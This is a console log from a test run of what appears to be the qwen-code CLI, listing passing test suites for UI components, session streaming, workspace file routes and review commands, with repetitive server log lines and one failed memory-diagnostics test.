Stopping at filesystem boundary (GIT_DISCOVERY_ACROSS_FILESYSTEM not set).
fatal: not a git repository (or any parent up to mount point /)
Stopping at filesystem boundary (GIT_DISCOVERY_ACROSS_FILESYSTEM not set).
✓ src/commands/review/test-plan.test.ts (80 tests) 1649ms
✓ src/ui/components/MainContent.test.tsx (19 tests) 8299ms
✓ > renders AppHeader inside Static at the top of the static content 1008ms
✓ > progressively replays Static items when history exceeds the threshold (issue #3899) 1866ms
✓ > renders newly finalized item without a disappear frame when gap is within CHUNK_SIZE (issue #3899) 888ms
✓ > synchronously resets to the first chunk on historyRemountKey change after a full catch-up (Ctrl+O regression, issue #3899) 1409ms
✓ > does NOT reset progressive replay when only currentModel changes (PR #4119 regression guard) 1769ms
qwen serve: /acp replay deferral armed (sess-1, from id 3)
qwen serve: /acp replay deferral armed (sess-1, from id 3)
qwen serve: /acp session stream detached (sess-1), grace=10000ms
qwen serve: /acp session reclaimed within grace (sess-1)
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 1
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 2
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 3
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 4
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 5
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 6
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 7
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 8
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 9
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 10
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 11
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 12
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 13
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 14
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 15
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 16
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 17
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 18
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 19
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 20
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 21
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 22
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 23
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 24
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 25
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 26
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 27
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 28
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 29
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 30
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 31
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 32
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 33
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 34
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 35
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 36
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 37
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 38
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 39
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 40
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 41
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 42
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 43
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 44
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 45
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 46
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 47
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 48
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 49
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 50
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 51
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 52
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 53
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 54
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 55
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 56
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 57
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 58
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 59
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 60
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 61
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 62
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 63
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 64
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 65
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 66
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 67
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 68
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 69
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 70
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 71
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 72
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 73
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 74
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 75
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 76
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 77
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 78
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 79
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 80
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 81
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 82
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 83
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 84
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 85
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 86
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 87
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 88
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 89
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 90
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 91
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 92
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 93
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 94
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 95
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 96
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 97
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 98
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 99
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 100
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 101
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 102
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 103
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 104
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 105
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 106
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 107
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 108
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 109
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 110
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 111
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 112
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 113
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 114
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 115
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 116
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 117
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 118
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 119
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 120
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 121
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 122
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 123
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 124
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 125
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 126
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 127
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 128
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 129
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 130
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 131
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 132
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 133
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 134
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 135
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 136
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 137
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 138
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 139
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 140
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 141
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 142
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 143
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 144
qwen serve: /acp pre-attach buffer full (session sess-1), dropped frame id 145
qwen serve: /acp session stream detached (sess-1), grace=10000ms
qwen serve: /acp session reclaimed within grace (sess-1)
qwen serve: /acp session stream detached (sess-1), grace=10000ms
qwen serve: /acp session grace expired (sess-1), no reconnect within 10000ms — tearing down
qwen serve: /acp session stream detached (sess-1), grace=10000ms
qwen serve: /acp session reclaimed within grace (sess-1)
qwen serve: /acp session stream detached (sess-1), grace=10000ms
qwen serve: /acp session reclaimed within grace (sess-1)
qwen serve: /acp replay deferral armed (sess-1, from id 5)
qwen serve: /acp session stream detached (sess-1), grace=10000ms
qwen serve: /acp session reclaimed within grace (sess-1)
qwen serve: /acp replay deferral armed (sess-1, from id 5)
qwen serve: /acp replay deferral armed (sess-1, from id 5)
qwen serve: /acp replay deferral armed (sess-1, from id 5)
qwen serve: /acp replay deferral armed (sess-1, from id 5)
qwen serve: /acp session stream detached (sess-1), grace=10000ms
qwen serve: /acp session grace expired (sess-1), no reconnect within 10000ms — tearing down
qwen serve: /acp session stream detached (sess-1), grace=10000ms
qwen serve: /acp session grace expired (sess-1), no reconnect within 10000ms — tearing down
qwen serve: /acp teardown failed during grace expiry (sess-1): boom
qwen serve: /acp teardownBinding(sess-1) failed during destroy: boom
qwen serve: /acp session stream detached (sess-1), grace=10000ms
qwen serve: /acp session grace expired (sess-1), no reconnect within 10000ms — tearing down
qwen serve: /acp onSessionGraceExpired failed during grace expiry (sess-1): boom
✓ src/serve/acp-http/connection-registry.test.ts (25 tests) 1046ms
✓ ConnectionRegistry.getSnapshot > enforces a HARD ceiling on all-id-less buffer growth (defense-in-depth) — drops oldest and logs loudly past 4× the soft cap 534ms
✓ src/ui/utils/resumeHistoryUtils.test.ts (42 tests) 389ms
✓ src/serve/channel-worker-manager.test.ts (39 tests) 1309ms
✓ src/ui/commands/copyCommand.test.ts (43 tests) 959ms
✓ src/ui/hooks/useCommandCompletion.test.ts (38 tests) 2104ms
✓ useCommandCompletion > Core Hook Behavior > State Management > should initialize with default state 483ms
✓ src/ui/commands/languageCommand.test.ts (55 tests) 1674ms
✓ src/ui/voice/voice-transcriber.test.ts (40 tests) 1474ms
✓ voice-transcriber > resolves a plain voice model id from configured models 344ms
✓ src/commands/review/submit.test.ts (44 tests) 1052ms
✓ src/config/settingsWatcher.test.ts (46 tests) 1000ms
✓ src/ui/utils/TableRenderer.test.tsx (71 tests) 7131ms
✓ > renders a basic table with borders 1318ms
✓ > preserves 256-color foreground across wrapped lines 372ms
✓ > stays stable across multiple content widths 441ms
✓ src/ui/commands/doctorCommand.test.ts (37 tests) 1203ms
✓ src/acp-integration/session/SubAgentTracker.test.ts (33 tests) 1224ms
✓ src/ui/hooks/useSelectionList.test.ts (53 tests) 1840ms
✓ useSelectionList > Initialization > should initialize with the default index (0) if enabled 301ms
✓ src/commands/review/publish-assets.test.ts (30 tests) 841ms
✓ src/ui/hooks/useToolScheduler.test.ts (24 tests) 1698ms
✓ useReactToolScheduler in YOLO Mode > should skip confirmation and execute tool directly when yoloMode is true 828ms
✓ src/ui/utils/commandUtils.test.ts (61 tests) 759ms
✓ src/ui/hooks/useSlashCompletion.test.ts (30 tests) 2175ms
✓ useSlashCompletion > Top-Level Commands > should suggest all top-level commands for the root slash 346ms
✓ src/utils/nonInteractiveHelpers.test.ts (52 tests) 776ms
✓ src/ui/components/messages/ToolConfirmationMessage.test.tsx (35 tests) 9570ms
✓ ToolConfirmationMessage > should not display urls if prompt and url are the same 1463ms
✓ ToolConfirmationMessage > renders warnings on exec confirmations when provided 327ms
✓ ToolConfirmationMessage > renders classifier fallback guidance and the Default Mode option 557ms
✓ ToolConfirmationMessage > full-plan viewer (#7001) > shows the open-in-editor hint on plan confirmations 392ms
✓ ToolConfirmationMessage > full-plan viewer (#7001) > `o` writes the FULL plan to a temp file and opens the editor without confirming 1152ms
✓ ToolConfirmationMessage > full-plan viewer (#7001) > Ctrl+O does not open the editor 500ms
✓ ToolConfirmationMessage > external editor option > renders edit warnings and honors hideAlwaysAllow on small terminals 547ms
✓ ToolConfirmationMessage > external editor option > budgets edit warnings using their rendered inner width 420ms
✓ ToolConfirmationMessage > external editor option > resolves ordinary IDE edits but skips confirmations that have no IDE diff 973ms
✓ src/nonInteractive/control/ControlDispatcher.test.ts (36 tests) 667ms
✓ src/commands/review/presubmit.test.ts (49 tests) 302ms
✓ src/agent-view/supervisor-server.test.ts (27 tests) 1712ms
✓ Agent View supervisor server > serves status/list/shutdown requests through the JSON IPC client 558ms
{
"port": 34523,
"baseUrl": "http://127.0.0.1:34523/v1",
"logPath": "/tmp/mp-Xzd5bj/req.jsonl",
"note": "mock provider on port 34523; every request is appended to /tmp/mp-Xzd5bj/req.jsonl as JSONL — diff those between two trees and the difference is evidence"
}
mock-provider: mock provider on port 34523; every request is appended to /tmp/mp-Xzd5bj/req.jsonl as JSONL — diff those between two trees and the difference is evidence
mock-provider: /build/qwen-code/src/qwen-code/packages/cli/src/commands/review/__fixtures__/mock-responder-empty.mjs exports no `respond` function — a responder module must export `respond(req)` (or a default export of the same shape)
✓ src/commands/review/mock-provider.test.ts (36 tests) 7826ms
✓ the wire > streams a text reply as SSE chunks ending in [DONE] 666ms
✓ the bounds > numbers only the requests the RESPONDER saw — across every skip path 534ms
✓ the bounds > refuses an oversized body rather than truncating it 502ms
✓ the responder is the caller's module, and is treated as one > answers 500 for every malformed reply instead of HANGING 460ms
✓ the responder is the caller's module, and is treated as one > refuses a status body that cannot be serialised, as the tool branch does 365ms
✓ the entry points nothing had driven > the CLI handler writes the report, and its TTL is in SECONDS 1017ms
✓ the invariants, over a mixed sequence > holds all of them across 120 mixed requests 2401ms
✓ src/utils/standalone-update.test.ts (45 tests) 739ms
✓ src/ui/components/extensions/ExtensionsManagerDialog.test.tsx (23 tests) 14331ms
✓ ExtensionsManagerDialog (tabbed) > renders the tab bar with all three tabs 1416ms
✓ ExtensionsManagerDialog (tabbed) > caps its width on a wide terminal so the status column is not clipped 1279ms
✓ ExtensionsManagerDialog (tabbed) > shows discovered plugins on the Discover tab 383ms
✓ ExtensionsManagerDialog (tabbed) > opens a CC-style plugin detail with an inline scope selector on Enter 656ms
✓ ExtensionsManagerDialog (tabbed) > filters the Discover list as you type 352ms
✓ ExtensionsManagerDialog (tabbed) > nests extension-bundled MCP servers under their extension on the Installed tab 1204ms
✓ ExtensionsManagerDialog (tabbed) > disables an extension-bundled MCP server individually with Space 565ms
✓ ExtensionsManagerDialog (tabbed) > moves a plugin into the Favorites group after favoriting (regroup/reload) 322ms
✓ ExtensionsManagerDialog (tabbed) > shows the install/add actions and grouped sections on the Marketplaces tab 475ms
✓ ExtensionsManagerDialog (tabbed) > shows a CC-style marketplace detail with installed plugins and actions 1400ms
✓ ExtensionsManagerDialog (tabbed) > collapses a long installed-plugins list in the marketplace detail 582ms
✓ ExtensionsManagerDialog (tabbed) > retries a failed marketplace load when R is pressed 783ms
✓ ExtensionsManagerDialog (tabbed) > Browse plugins jumps to Discover filtered by the marketplace 763ms
✓ ExtensionsManagerDialog (tabbed) > does not close on Escape while a tab sub-view is open 1376ms
✓ ExtensionsManagerDialog (tabbed) > opens the install-extension input view on Enter 464ms
✓ ExtensionsManagerDialog (tabbed) > renders a pending install consent prompt in place of the tabs 596ms
✓ src/serve/server/telemetry.test.ts (50 tests) 718ms
✓ src/ui/hooks/use-voice-input.test.ts (23 tests) 1773ms
✓ use-voice-input > warms up the backend when voice is enabled 375ms
✓ src/ui/hooks/useHistoryManager.test.ts (24 tests) 1675ms
✓ useHistoryManager > should initialize with an empty history 305ms
✓ src/utils/errors.test.ts (42 tests) 751ms
✓ src/serve/scheduled-task-keepalive.test.ts (25 tests) 1775ms
✓ scheduled-task keepalive > heartbeats each distinct bound session, skipping unbound tasks 522ms
✓ src/ui/components/background-view/LiveAgentPanel.test.tsx (29 tests) 5852ms
✓ > hides when there are no agent entries 985ms
✓ > renders header and a single running agent row 1013ms
✓ > truncates the description tail when the panel width is too narrow 339ms
✓ > clears the 1s tick interval when unmounted with live work in flight 323ms
✓ src/ui/components/StandaloneSessionPicker.test.tsx (19 tests) 17187ms
✓ SessionPicker > Empty Sessions > should show sessions with 0 messages 2868ms
✓ SessionPicker > Empty Sessions > should show sessions even when all sessions are empty 1263ms
✓ SessionPicker > Empty Sessions > should show sessions with 1 or more messages 631ms
✓ SessionPicker > Branch Filtering > should filter by branch when Ctrl+B is pressed 1365ms
✓ SessionPicker > Branch Filtering > should combine empty session filter with branch filter 727ms
✓ SessionPicker > Keyboard Navigation > should type j and k into the explicit search buffer 1091ms
✓ SessionPicker > Keyboard Navigation > should navigate with arrow keys 604ms
✓ SessionPicker > Keyboard Navigation > should select session on Enter 419ms
✓ SessionPicker > Keyboard Navigation > should cancel on Escape 428ms
✓ SessionPicker > Display > should show session metadata 350ms
✓ SessionPicker > Display > renders the metadata line cleanly when messageCount is undefined 1067ms
✓ SessionPicker > Display > should show header and footer 504ms
✓ SessionPicker > Display > should show branch toggle hint when currentBranch is provided 449ms
✓ SessionPicker > Display > should truncate long prompts 435ms
✓ SessionPicker > Display > should show "(empty prompt)" for sessions without prompt text 342ms
✓ SessionPicker > Pagination > should load more sessions when scrolling to bottom 1010ms
✓ SessionPicker > Preview Mode > renders tool_group items without crashing (stub Providers mounted) 1310ms
✓ SessionPicker > Preview Mode > Enter inside preview fires onSelect with previewed sessionId 1364ms
✓ SessionPicker > Preview Mode > without enablePreview, Space is a no-op and footer omits the hint 836ms
✓ src/utils/installationInfo.test.ts (36 tests) 1232ms
✓ getInstallationInfo > should return UNKNOWN when cliPath is not available 351ms
✓ src/serve/channel-management-service.test.ts (32 tests) 8659ms
✓ createChannelManagementService > lists sanitized config, secret presence, startup selection, and runtime 6741ms
✓ createChannelManagementService > manages pairing requests and approvals in the selected workspace scope 475ms
qwen: refusing to restore a goal for session sess-1: the condition is empty.
qwen: refusing to restore a goal for session sess-1: the condition is empty.
qwen: refusing to restore a goal for session sess-1: the condition is empty.
✓ src/ui/utils/restoreGoal.test.ts (56 tests) 1686ms
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: GET /file rejected request missing required ?path
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: GET /stat unexpected error: bound workspace is not configured
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
✓ src/serve/routes/workspace-file-read.test.ts (41 tests) 17741ms
✓ workspaceRelative > rejects paths that remain outside the workspace after canonicalization 317ms
✓ GET /file > returns content + meta for a UTF-8 text file 3200ms
✓ GET /file > returns the requested line window 461ms
✓ GET /file > pages a large file over HTTP with nextCursor 1272ms
✓ GET /file > rejects a malformed cursor with 400 561ms
✓ GET /file > rejects cursor combined with line 306ms
✓ GET /file > returns a bounded line window for text above MAX_READ_BYTES 747ms
✓ GET /file > keeps an oversized read without a window behind the snapshot cap 549ms
✓ GET /file > returns 422 binary_file when target contains NULs 441ms
✓ GET /stat > returns 500 rather than leaking paths when boundWorkspace is missing 337ms
✓ GET /list > lists entries with name + kind + ignored, no path field 396ms
✓ GET /list > drops ignored entries by default and includes them with includeIgnored=1 418ms
✓ GET /list > returns 400 parse_error when listing a regular file 583ms
✓ GET /glob > returns workspace-relative match paths 1098ms
✓ GET /glob > reports truncated=true when boundary saw more matches than maxResults 327ms
✓ GET /glob > drops ignored glob matches by default and includes them with includeIgnored=1 537ms
✓ capability advertisement > advertises workspace file capabilities on /capabilities 504ms
✓ src/ui/components/SkillReviewDialog.test.tsx (33 tests) 17581ms
✓ SkillReviewDialog > renders the first pending skill name and description with a counter 2867ms
✓ SkillReviewDialog > does not overflow a width-constrained container (right border stays visible) 666ms
✓ SkillReviewDialog > hides the bulk options once only the last skill of a batch remains 613ms
✓ SkillReviewDialog > keepAll accepts every remaining skill then closes once 878ms
✓ SkillReviewDialog > discardAll rejects every remaining skill then closes once 496ms
✓ SkillReviewDialog > renders the current staged SKILL.md content inline 791ms
✓ SkillReviewDialog > shows a fallback when the staged file cannot be read 346ms
✓ SkillReviewDialog > shows loading, not the previous skill body, while the next preview loads 750ms
✓ SkillReviewDialog > neutralizes ANSI/VT control sequences in the preview 409ms
✓ SkillReviewDialog > escapes bare control bytes (e.g. BEL) that are not ANSI sequences 425ms
✓ SkillReviewDialog > escapes DEL and C1 control bytes (JSON.stringify leaves these raw) 406ms
✓ SkillReviewDialog > sanitizes the model-generated name and description in the header 420ms
✓ SkillReviewDialog > renders CRLF line endings as ordinary line breaks, not CR escapes 389ms
✓ SkillReviewDialog > still escapes a lone CR that is not part of a CRLF pair 408ms
✓ SkillReviewDialog > reads only a bounded chunk of a huge preview file (no unbounded read) 1513ms
✓ SkillReviewDialog > caps the preview by WRAPPED rows, not logical lines 713ms
✓ SkillReviewDialog > flags a byte-truncated preview even when no lines are hidden 395ms
✓ SkillReviewDialog > refreshes the preview with the saved edits after the editor closes 780ms
✓ SkillReviewDialog > auto-refreshes the preview when the staged file changes on disk 938ms
✓ SkillReviewDialog > clears a stale editor error when advancing to the next skill 442ms
✓ src/ui/hooks/useMessageQueue.test.ts (40 tests) 4113ms
✓ useMessageQueue > should initialize with empty queue 854ms
✓ useMessageQueue > releases Goal dedup state after many claimed turns 660ms
✓ src/ui/hooks/useBranchCommand.test.ts (26 tests) 3374ms
✓ useBranchCommand > refuses to branch while background work is running 1090ms
✓ src/ui/daemon/daemon-tui-adapter.test.ts (15 tests) 2065ms
✓ reduceDaemonEventToTuiUpdates > maps assistant, tool, model, and disconnect daemon events while suppressing thought history 306ms
✓ DaemonTuiAdapter > pumps daemon events into TUI updates and tracks replay state 367ms
✓ src/commands/review/extract-step.test.ts (50 tests) 2533ms
✓ runExtractStep > extracts the named step from the NAMED job, not a same-named sibling 744ms
✓ src/commands/review/lib/diff-plan.test.ts (39 tests) 1864ms
✓ src/ui/components/messages/AskUserQuestionDialog.test.tsx (35 tests | 1 skipped) 16303ms
✓ > rendering > renders single question with options 2375ms
✓ > rendering > renders header for single question 313ms
✓ > single-select interaction > selects an option with Enter and submits immediately for single question 2022ms
✓ > single-select interaction > auto-submits when pressing a number key for a predefined option 679ms
✓ > single-select interaction > does not auto-submit pasted numeric prefixes as option numbers 485ms
✓ > single-select interaction > does not auto-submit when pressing number key for "Other" custom input 874ms
✓ > single-select interaction > cancels with Escape 352ms
✓ > single-select interaction > navigates with selection shortcuts when custom input is not focused 473ms
✓ > single-select interaction > navigates with Ctrl+N/P when custom input is not focused 731ms
✓ > single-select interaction > keeps bare k/j in custom input while Ctrl+P/N still navigates options 1569ms
✓ > multi-select interaction > does not auto-submit when pressing number key in multi-select mode 356ms
✓ > multi-select interaction > toggles options with Space 441ms
✓ > multi-select interaction > auto-selects custom input and submits on Enter after typing 843ms
✓ > multi-select interaction > does not submit when Enter pressed on empty custom input 529ms
✓ > multi-select interaction > submits predefined options together with custom input 817ms
✓ > multiple questions > does not auto-submit when pressing number key on Submit tab 537ms
✓ > focus behavior > does not respond to keys when isFocused is false 326ms
✓ src/services/McpPromptLoader.test.ts (47 tests) 1315ms
✓ src/services/prompt-processors/shellProcessor.test.ts (34 tests) 2126ms
✓ ShellProcessor > should throw an error if config is missing 501ms
✓ src/config/trustedFolders.test.ts (39 tests) 2111ms
✓ Trusted Folders Loading > isPathTrusted > provides a method to determine if a path is trusted 312ms
✓ Trusted Folders Loading > setValue should update the user config and save it 328ms
✓ src/serve/virtual-subagent-sessions.test.ts (11 tests) 2412ms
✓ VirtualSubagentSessions > resolves, fully loads, and independently streams an agent transcript 777ms
✓ VirtualSubagentSessions > keeps later canonical rounds when one streamed round is reconciled 361ms
✓ VirtualSubagentSessions > keeps task status while supplementing terminal metrics 414ms
✓ src/commands/review/run.test.ts (33 tests) 2530ms
✓ src/nonInteractive/control/controllers/permissionController.test.ts (23 tests) 2048ms
✓ PermissionController > round-trips workflow approval through can_use_tool with updated input 528ms
✓ src/nonInteractive/io/JsonOutputAdapter.test.ts (35 tests) 931ms
✓ src/ui/components/shared/text-buffer-external-editor.test.ts (36 tests) 3420ms
✓ openInExternalEditor > should create temp file in private mkdtemp directory 993ms
✓ src/ui/hooks/shellCommandProcessor.test.ts (22 tests) 3440ms
✓ useShellCommandProcessor > should initiate command execution and set pending state 1062ms
❯ src/utils/memoryDiagnostics.test.ts (23 tests | 1 failed) 1960ms
× memoryDiagnostics > collects baseline memory fields 475ms
→ expected 0 to be greater than 0
✓ memoryDiagnostics > formats a paste-safe human-readable report with key sections 143ms
